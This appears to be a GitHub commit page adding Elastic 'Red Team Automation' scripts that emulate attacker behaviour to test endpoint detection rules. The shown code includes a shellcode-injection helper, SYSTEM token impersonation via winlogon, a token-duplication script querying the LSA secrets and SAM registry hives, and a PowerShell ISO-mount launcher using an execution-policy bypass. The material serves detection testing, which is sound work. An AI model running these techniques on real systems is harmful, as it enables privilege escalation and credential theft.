Skip to content

Commit 0f6ded4

Browse files
Samirbousbrokensound77eric-forte-elasticMikaayenson
authored
[New RTA] Endpoint Rules (#2788)
* [New RTA] Endpoint Rules Suspicious Access to LSA Secrets Registry Security Account Manager (SAM) Registry Access Privilege Escalation via EXTENDED STARTUPINFO Potential Privilege Escalation via Token Impersonation Suspicious Impersonation as Trusted Installer NTDLL Loaded from an Unusual Path Sensitive File Access - Unattended Panther Potential Discovery of Windows Credential Manager Store Potential Discovery of DPAPI Master Keys Potential Process Creation via ShellCode * Update evasion_ntdll_from_unusual_path.py * Update credaccess_reg_query_privesc_token_manip.py * Create shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * fix import * Update credaccess_reg_query_privesc_token_manip.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_winexec_calc.py * DLL Side Loading via a Copied Microsoft Executable * Update sideload_msbin_faultrep.py * DLL SideLoad via a Microsoft Signed Binary * Update sideload_msbin_faultrep.py * C2 via ISO file * ++ * persistence from ISO * Update exec_persistence_from_iso.py * replaced win32con with actual static values * Update sensitive_file_access.py * Update credaccess_reg_query_privesc_token_manip.py * Update ExecFromISOFile.ps1 * Suspicious ImageLoad from an ISO Mounted Device * Update execution_iso_dll_rundll32.py * Update c2_dns_from_iso.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update impersonate_trusted_installer.py * Library Loaded via a Callback Function * Update evasion_loadlib_via_callback.py * ++ * added ntds.dit access * Security Account Manager (SAM) File Access * Update sensitive_file_access.py * Update sensitive_file_access.py * Update sensitive_file_access.py * Suspicious Execution via DotNet Remoting * Update evasion_addinproc_certoc.py * Update evasion_addinproc_certoc_odbc.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * ++ * Update evasion_unhook_ldrloaddll.py * added ETW and AMSI patching * Update evasion_oversized_dll_load.py * Update sensitive_file_access.py added technique ids * Update c2_dns_from_iso.py fixed endpoint rule.ids array * moved getppid to common.py * moved impersonate_system to common * moved inject to common.py * Update credaccess_sam_from_vss.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * Update evasion_loadlib_via_callback.py * Update evasion_oversized_dll_load.py * Update evasion_patch_etw_amsi.py * Update execution_iso_dll_sideload.py * Update evasion_unhook_ldrloaddll.py * Update exec_persistence_from_iso.py * Update execution_iso_dll_rundll32.py * Update sensitive_file_access.py * Update shellcode_load_ws2_32_unbacked.py * ++ * Update rta/c2_dns_from_iso.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/common.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/common.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/credaccess_reg_query_privesc_token_manip.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/common.py Co-authored-by: Justin Ibarra <[email protected]> * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <[email protected]> * Update shellcode_winexec_calc.py * Update shellcode_load_ws2_32_unbacked.py * Update c2_dns_from_iso.py * Update evasion_oversized_dll_load.py * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <[email protected]> * Update evasion_oversized_dll_load.py * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <[email protected]> * Update credaccess_sam_from_vss.py * Update c2_dns_from_iso.py * ++ * ++ * ++ * Update impersonate_trusted_installer.py * Update evasion_patch_etw_amsi.py * Update credaccess_reg_query_privesc_token_manip.py * ++ * Update evasion_ntdll_from_unusual_path.py * Update evasion_oversized_dll_load.py * ++ * Update common.py * Update ExecFromISOFile.ps1 * Update evasion_ntdll_from_unusual_path.py * add cpp source files * Update rta/common.py Co-authored-by: eric-forte-elastic <[email protected]> * Update rta/src/LoadLib-Callback64.cpp Co-authored-by: eric-forte-elastic <[email protected]> * Update rta/src/rta_unhook_ldrload.cpp Co-authored-by: eric-forte-elastic <[email protected]> * Update rta/impersonate_trusted_installer.py Co-authored-by: eric-forte-elastic <[email protected]> --------- Co-authored-by: Justin Ibarra <[email protected]> Co-authored-by: eric-forte-elastic <[email protected]> Co-authored-by: Mika Ayenson <[email protected]>
1 parent aaa4ce2 commit 0f6ded4

28 files changed

+1221
-0
lines changed

rta/bin/ExecFromISOFile.ps1

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
function ExecFromISO {
2+
[CmdletBinding()]
3+
param(
4+
[Parameter()]
5+
[string] $ISOFile,
6+
[string] $procname,
7+
[string] $cmdline
8+
)
9+
$MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly
10+
$DriveLetter = ($MountMeta | Get-Volume).DriveLetter
11+
if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";}
12+
else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"}
13+
Start-Sleep -s 2
14+
Stop-process -name $procname -Force -ErrorAction ignore
15+
Dismount-DiskImage -ImagePath $ISOFile | Out-Null
16+
}

rta/bin/LoadLib-Callback64.exe

124 KB
Binary file not shown.

rta/bin/cmd_from_iso.iso

334 KB
Binary file not shown.

rta/bin/faultrep.dll

58 KB
Binary file not shown.

rta/bin/lnk_from_iso_rundll.iso

110 KB
Binary file not shown.

rta/bin/ping_dns_from_iso.iso

72 KB
Binary file not shown.

rta/bin/rta_unhook_ldrload.exe

63 KB
Binary file not shown.

rta/bin/werfault_iso.iso

666 KB
Binary file not shown.

rta/c2_dns_from_iso.py

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
2+
# or more contributor license agreements. Licensed under the Elastic License
3+
# 2.0; you may not use this file except in compliance with the Elastic License
4+
# 2.0.
5+
6+
from . import common
7+
from . import RtaMetadata
8+
import os
9+
10+
metadata = RtaMetadata(
11+
uuid="ba802fb2-f183-420e-947m-da5ce0235d123",
12+
platforms=["windows"],
13+
siem=[],
14+
endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"},
15+
{"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"},
16+
{"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}],
17+
techniques=["T1071", "T1204", "T1071.004"],
18+
)
19+
20+
# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file
21+
ISO = common.get_path("bin", "ping_dns_from_iso.iso")
22+
PROC = 'ping.exe'
23+
24+
# ps script to mount, execute a file and unmount ISO device
25+
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
26+
27+
@common.requires_os(metadata.platforms)
28+
29+
def main():
30+
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
31+
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
32+
33+
# 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file
34+
for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] :
35+
36+
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
37+
# command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';'
38+
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};"
39+
common.execute(command)
40+
41+
print(f'[+] - RTA Done!')
42+
43+
if __name__ == "__main__":
44+
exit(main())

rta/common.py

+141
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,8 @@
2424
from typing import Iterable, Optional, Union
2525

2626

27+
28+
2729
from http.server import HTTPServer, SimpleHTTPRequestHandler
2830

2931
long_t = type(1 << 63)
@@ -67,6 +69,60 @@ def get_winreg():
6769
if CURRENT_OS == WINDOWS:
6870
CMD_PATH = os.environ.get("COMSPEC")
6971
POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
72+
import ctypes
73+
import win32process
74+
import win32file
75+
import win32service
76+
import win32api, win32security
77+
from ctypes import byref, windll, wintypes
78+
from ctypes.wintypes import BOOL
79+
from ctypes.wintypes import DWORD
80+
from ctypes.wintypes import HANDLE
81+
from ctypes.wintypes import LPVOID
82+
from ctypes.wintypes import LPCVOID
83+
# Windows related constants and classes
84+
TH32CS_SNAPPROCESS = 0x00000002
85+
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
86+
TOKEN_DUPLICATE = 0x0002
87+
TOKEN_ALL_ACCESS = 0xf00ff
88+
MAX_PATH = 260
89+
BOOL = ctypes.c_int
90+
DWORD = ctypes.c_uint32
91+
HANDLE = ctypes.c_void_p
92+
LONG = ctypes.c_int32
93+
NULL_T = ctypes.c_void_p
94+
SIZE_T = ctypes.c_uint
95+
TCHAR = ctypes.c_char
96+
USHORT = ctypes.c_uint16
97+
UCHAR = ctypes.c_ubyte
98+
ULONG = ctypes.c_uint32
99+
100+
class PROCESSENTRY32(ctypes.Structure):
101+
_fields_ = [
102+
('dwSize', DWORD),
103+
('cntUsage', DWORD),
104+
('th32ProcessID', DWORD),
105+
('th32DefaultHeapID', NULL_T),
106+
('th32ModuleID', DWORD),
107+
('cntThreads', DWORD),
108+
('th32ParentProcessID', DWORD),
109+
('pcPriClassBase', LONG),
110+
('dwFlags', DWORD),
111+
('szExeFile', TCHAR * MAX_PATH)
112+
]
113+
114+
LPCSTR = LPCTSTR = ctypes.c_char_p
115+
LPDWORD = PDWORD = ctypes.POINTER(DWORD)
116+
117+
class _SECURITY_ATTRIBUTES(ctypes.Structure):
118+
_fields_ = [('nLength', DWORD),
119+
('lpSecurityDescriptor', LPVOID),
120+
('bInheritHandle', BOOL), ]
121+
122+
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
123+
LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES)
124+
LPTHREAD_START_ROUTINE = LPVOID
125+
70126
else:
71127
CMD_PATH = "/bin/sh"
72128
POWERSHELL_PATH = None
@@ -669,3 +725,88 @@ def print_file(path):
669725
print(f.read().rstrip())
670726

671727
print("")
728+
729+
730+
# return pid by process.name
731+
@requires_os('windows')
732+
def getppid(pname):
733+
CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
734+
Process32First = ctypes.windll.kernel32.Process32First
735+
Process32Next = ctypes.windll.kernel32.Process32Next
736+
CloseHandle = ctypes.windll.kernel32.CloseHandle
737+
738+
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
739+
pe32 = PROCESSENTRY32()
740+
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
741+
current_pid = os.getpid()
742+
743+
744+
if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0:
745+
print(f"[x] - Failed getting first process.")
746+
return
747+
748+
while True:
749+
procname = pe32.szExeFile.decode("utf-8").lower()
750+
if pname.lower() in procname:
751+
CloseHandle(hProcessSnap)
752+
return pe32.th32ProcessID
753+
if not Process32Next(hProcessSnap, ctypes.byref(pe32)):
754+
CloseHandle(hProcessSnap)
755+
return None
756+
757+
@requires_os('windows')
758+
def impersonate_system():
759+
try:
760+
hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe"))
761+
th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE)
762+
new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES())
763+
win32security.ImpersonateLoggedOnUser(new_tokenh)
764+
print(f"[+] - Impersonated System Token via Winlogon")
765+
win32api.CloseHandle(hp)
766+
except Exception as e:
767+
print(f"[x] - Failed To Impersonate System Token via Winlogon")
768+
769+
@requires_os('windows')
770+
def Inject(path, shellcode):
771+
import ctypes, time
772+
import ctypes.wintypes
773+
774+
from ctypes.wintypes import BOOL
775+
from ctypes.wintypes import DWORD
776+
from ctypes.wintypes import HANDLE
777+
from ctypes.wintypes import LPVOID
778+
from ctypes.wintypes import LPCVOID
779+
import win32process
780+
# created suspended process
781+
info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())
782+
page_rwx_value = 0x40
783+
process_all = 0x1F0FFF
784+
memcommit = 0x00001000
785+
786+
if info[0].handle > 0 :
787+
print(f"[+] - Created {path} Suspended")
788+
shellcode_length = len(shellcode)
789+
process_handle = info[0].handle # phandle
790+
VirtualAllocEx = windll.kernel32.VirtualAllocEx
791+
VirtualAllocEx.restype = LPVOID
792+
VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)
793+
794+
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
795+
WriteProcessMemory.restype = BOOL
796+
WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)
797+
CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
798+
CreateRemoteThread.restype = HANDLE
799+
CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)
800+
801+
# allocate RWX memory
802+
lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
803+
print(f'[+] - Allocated remote memory at {hex(lpBuffer)}')
804+
805+
# write shellcode in allocated memory
806+
res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
807+
if res > 0 :
808+
print('[+] - Shellcode written.')
809+
810+
# create remote thread to start shellcode execution
811+
CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
812+
print('[+] - Shellcode Injection, done.')
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
2+
# or more contributor license agreements. Licensed under the Elastic License
3+
# 2.0; you may not use this file except in compliance with the Elastic License
4+
# 2.0.
5+
6+
from . import common
7+
from . import RtaMetadata
8+
9+
10+
11+
metadata = RtaMetadata(
12+
uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0",
13+
platforms=["windows"],
14+
endpoint=[
15+
{'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'},
16+
{'rule.id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'},
17+
{'rule.id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'},
18+
{'rule.id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'},
19+
],
20+
siem=[],
21+
techniques=["T1134", "T1003"],
22+
)
23+
24+
@common.requires_os(metadata.platforms)
25+
def main():
26+
import ctypes
27+
from ctypes import byref, windll, wintypes
28+
29+
hprocess = wintypes.HANDLE()
30+
hsystem_token = wintypes.HANDLE()
31+
hsystem_token_dup = wintypes.HANDLE()
32+
33+
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
34+
TOKEN_IMPERSONATE = 0x00000004
35+
TOKEN_DUPLICATE = 0x00000002
36+
SecurityImpersonation = 0x2
37+
TokenPrimary = 0x1
38+
LOGON_WITH_PROFILE = 0x1
39+
TOKEN_ALL_ACCESS = 0xf01ff
40+
LPBYTE = ctypes.POINTER(wintypes.BYTE)
41+
42+
class PROCESS_INFORMATION(ctypes.Structure):
43+
_pack_ = 1
44+
_fields_ = [
45+
('hProcess', wintypes.HANDLE),
46+
('hThread', wintypes.HANDLE),
47+
('dwProcessId', wintypes.DWORD),
48+
('dwThreadId', wintypes.DWORD),
49+
]
50+
51+
class STARTUPINFO(ctypes.Structure):
52+
__slots__ = ()
53+
_fields_ = (('cb', wintypes.DWORD),
54+
('lpReserved', wintypes.LPWSTR),
55+
('lpDesktop', wintypes.LPWSTR),
56+
('lpTitle', wintypes.LPWSTR),
57+
('dwX', wintypes.DWORD),
58+
('dwY', wintypes.DWORD),
59+
('dwXSize', wintypes.DWORD),
60+
('dwYSize', wintypes.DWORD),
61+
('dwXCountChars', wintypes.DWORD),
62+
('dwYCountChars', wintypes.DWORD),
63+
('dwFillAttribute', wintypes.DWORD),
64+
('dwFlags', wintypes.DWORD),
65+
('wShowWindow', wintypes.WORD),
66+
('cbReserved2', wintypes.WORD),
67+
('lpReserved2', LPBYTE),
68+
('hStdInput', wintypes.HANDLE),
69+
('hStdOutput', wintypes.HANDLE),
70+
('hStdError', wintypes.HANDLE))
71+
72+
OpenProcess = windll.kernel32.OpenProcess
73+
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
74+
OpenProcess.restype = wintypes.HANDLE
75+
76+
OpenProcessToken = windll.kernel32.OpenProcessToken
77+
OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID]
78+
OpenProcessToken.restype = wintypes.BOOL
79+
80+
DuplicateTokenEx = windll.advapi32.DuplicateTokenEx
81+
DuplicateTokenEx.restype = wintypes.BOOL
82+
DuplicateTokenEx.argtypes = [
83+
wintypes.HANDLE, # TokenHandle
84+
wintypes.DWORD, # dwDesiredAccess
85+
wintypes.LPCVOID, # lpTokenAttributes
86+
wintypes.DWORD, # ImpersonationLevel
87+
wintypes.DWORD, # TokenType
88+
wintypes.HANDLE, # phNewToken
89+
]
90+
91+
CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW
92+
CreateProcessWithTokenW.argtypes = [
93+
wintypes.HANDLE, # hToken
94+
wintypes.DWORD, # dwLogonFlags
95+
wintypes.LPCWSTR, # lpApplicationName
96+
wintypes.LPCVOID, # lpCommandLine
97+
wintypes.DWORD, # dwCreationFlags
98+
wintypes.LPCVOID, # lpEnvironment
99+
wintypes.LPCVOID, # lpCurrentDirectory
100+
wintypes.LPCVOID, # lpStartupInfo
101+
wintypes.LPCVOID, # lpProcessInformation
102+
]
103+
CreateProcessWithTokenW.restype = wintypes.BOOL
104+
105+
CloseHandle = windll.kernel32.CloseHandle
106+
CloseHandle.argtypes = [wintypes.HANDLE]
107+
CloseHandle.restype = wintypes.BOOL
108+
109+
# Duplicate winlogon.exe System Token
110+
hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe"))
111+
OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token))
112+
DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup))
113+
114+
# create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe
115+
process_info = PROCESS_INFORMATION()
116+
startup_info = STARTUPINFO()
117+
cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1"
118+
res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info))
119+
120+
# check process creation result
121+
if res == 1 :
122+
common.log("Executed RTA")
123+
else :
124+
common.log("Failed to execute RTA")
125+
126+
# Close all the handles
127+
common.log("Closed all Handles")
128+
CloseHandle(hsystem_token_dup)
129+
CloseHandle(hsystem_token)
130+
CloseHandle(hprocess)
131+
132+
if __name__ == "__main__":
133+
exit(main())

0 commit comments

Comments
 (0)